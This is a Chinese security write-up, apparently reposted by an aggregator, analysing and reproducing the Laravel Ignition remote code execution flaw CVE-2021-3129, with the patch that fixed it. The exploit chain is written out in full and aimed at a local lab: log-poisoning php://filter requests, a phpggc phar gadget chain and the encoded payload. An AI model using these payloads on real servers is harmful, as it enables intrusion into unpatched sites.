![](/style/images/good.png)
![](/style/images/bad.png)
CVE-2021-3129:Laravel远程代码漏洞复现分析
source link: https://juejin.cn/post/7075904154475954207
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
本文分享自华为云社区《CVE-2021-3129 分析》,作者:Xuuuu 。
CVE-2021-3129
- Tag: [[php phar]] | [[php deserialize]]
Env搭建
VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv
Source 分析
根据描述,本质上是由于 facade/ignition
引入的问题,直接查看 ignition
的 commit 记录[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution
添加了一个安全过滤函数 isSafePath
// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
复制代码
发现危险函数 file_get_contents
,跟踪函数调用栈
- \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
- \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
- \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
- \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
参数 $parameters['viewFile']
无过滤,通过 execute-solution
路由可以进行触发,结合官方文档[^2] 可知,在执行 solution
操作时将走到 source 处。
Poc 编写
启动环境后,就出现了一个 igition
的错误修复界面,点击 Generate app key
抓包
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 82
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}
复制代码
然后修改参数 solution
修改为 MakeViewVariableOptionalSolution
指定 solution
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 163
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "sxv",
"viewFile": "asdfasdf"
}
}
HTTP/1.1 500 Internal Server Error
Host: localhost:8000
Date: Tue, 15 Mar 2022 08:00:15 GMT
Connection: close
X-Powered-By: PHP/7.3.21
Cache-Control: no-cache, private
Date: Tue, 15 Mar 2022 08:00:15 GMT
Content-Type: application/json
{
"message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",
...
}
复制代码
500
则代表存在漏洞。
EXP 编写
当存在上传点时,直接上传 phar 文件进行反序列化即可,直接快进到第四步触发反序列化
无上传点可利用时,我们可以操控 ../storage/logs/laravel.log
日志文件,配合 php://filter
的特性来构建 phar 文件,执行反序列化。
- 清空日志文件
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "sxv",
"viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}
复制代码
- 写入合法 phar 文件
[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
........
#41 {main}
"}
复制代码
其中传入的 payload
出现位置
...
[padding] file_get_contents($payload) [padding] file_get_contents($payload)
...
[padding] file_get_contents('$payload[:15]') # 部分payload
复制代码
由于 [[php phar#文件结构]] 特性,文件前后允许脏数据存在,所以思路为
构造phar文件,将phar文件经过编码后写入log文件,再通过 php://filter 特性还原phar文件,最后通过 phar://触发
· base64解码
o 不符合 base64 标准的字符将被忽略 然后继续解码
· utf16 -> utf8
o utf16 用两字节表示一个字符, 需要双字节对齐
· quoted-printable 邮件编码
o 将 \0
编码为 =00
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "POCCCCCCCCCCCCC");
fclose($fp);
// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-decode');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
//stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");
fclose($fp);
// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁
$fp = fopen('php://output', 'w');
//stream_filter_append($fp, 'convert.quoted-printable-decode');
//stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");
fclose($fp);
// POCCCCCCCCCCCCC
?>
复制代码
// Step 1
"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"
// Step 2
"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
复制代码
解码报错 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence
观察日志文件。
[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')
复制代码
断定由于 U=00E=009=00D=0...
处被截断导致 quoted-printable
解码报错,第三处位置只显示前15个字符,所以可以通过 'A' * 15
进行填充,发送
AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC
出现了两次 payload
,初步符合我们的要求,能够自由控制 storage.log
内容。
那出现两次的 payload
如何解决呢?如果出现两次 **payload**
或者出现部分残留的base64编码允许的字符将影响后续的base64解码。 可以通过在前后通过加填充字符的方式来调整 payload
的第一个字符下标为奇数 or 偶数,从而影响 utf16->utf8
的解码,来使得最终只出现一次 payload
。
例如发送 'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后成功得到 POCCCCCCCCCCCCC
。
phar 生成
利用 phpgcc [^3] 生成 phar 文件
> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar
> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote
d-printable-encode/resource=poc.phar');"
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...
N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00
复制代码
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 196
Accept: application/json
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "sxv",
"viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}
复制代码
- 发送 phar 文件
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 3222
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "sxv",
"viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"
}
}
复制代码
-
还原 phar 文件
此步骤可通过以下代码验证 phar 文件还原是否成功,或者通过http
200
状态码判断
$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");
var_export($fix);
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 271
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "sxv",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
复制代码
- 触发反序列化
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 167
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "sxv",
"viewFile": "phar://../storage/logs/laravel.log"
}
}
复制代码
Patch 修复
\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath
函数对$parameters['viewFile']
进行了过滤,防止伪协议等。
protected function isSafePath(string $path): bool
{
if (! Str::startsWith($path, ['/', './'])) {
return false;
}
if (! Str::endsWith($path, '.blade.php')) {
return false;
}
return true;
}
复制代码
Reference
· Laravel8 CVE-2021-3129 复现分析 - TARI TARI
· Laravel Debug mode RCE(CVE-2021-3129)复现 - inHann的博客 | inHann’s Blog
· Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区
Footnote
[1]: Comparing 2.5.1…2.5.2 · facade/ignition
[2]: Security - Flare Docs
Recommend
-
28
Joomla远程代码执行漏洞分析 phith0n ...
-
20
ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法 ...
-
48
前言: 各位FreeBuf观众的姥爷大家好,我是艾登——皮尔斯(玩看门狗时候注册的ID),最近安全圈好不热闹,北京时间9月20日“杭州公安”官微发布了 “杭州警方通报打...
-
8
该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。 0x01 漏洞概述...
-
7
介绍 在这篇文章中,我们将会详细介绍漏洞CVE-2020-26233。这个漏洞将影响Windows平台下GitHub CLI工具中Git凭证管理器核心v2...
-
12
CVE-2021-3156 sudo 提权漏洞复现与分析前几天在玄武推的公众号上看到了这个洞,当天在各大安全资讯和安全论坛都给出了该漏洞的预警,我拿漏洞公布者的PoC试了下自己的Ubuntu18.04,也在漏洞影响的范围,上次遇到这种直接打Ubuntu 18.04的洞还是谷歌pr...
-
9
PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析 ...
-
7
mongo-express 远程代码执行漏洞分析 搭建调试环境,调试 CVE-2019-10758 漏洞,学习nodejs 沙箱绕过,以及nodejs 远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛,本文从初...
-
4
一:漏洞简介Spring Data REST是Spring Data项目的一部分,可以在Spring Data存储库之上构建超媒体驱动的REST Web服务。Spring Data REST存在远程代码执行漏洞,攻击者通过构造恶意的PATCH请求提交给spring-data-rest服务器,使用特制的JSON...
-
4
Windows TCP/IP远程代码执行复现(CVE-2020-16898)Microsoft Windows TCP/IP是美国微软(Microsoft)公司的一个Windows的Tcp/Ip支持服务。Windows TCP/IP存在远程代码执行漏洞。该漏洞源于程序未对ICMPv6路由器广告数据包进行正确处理。攻击者可...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK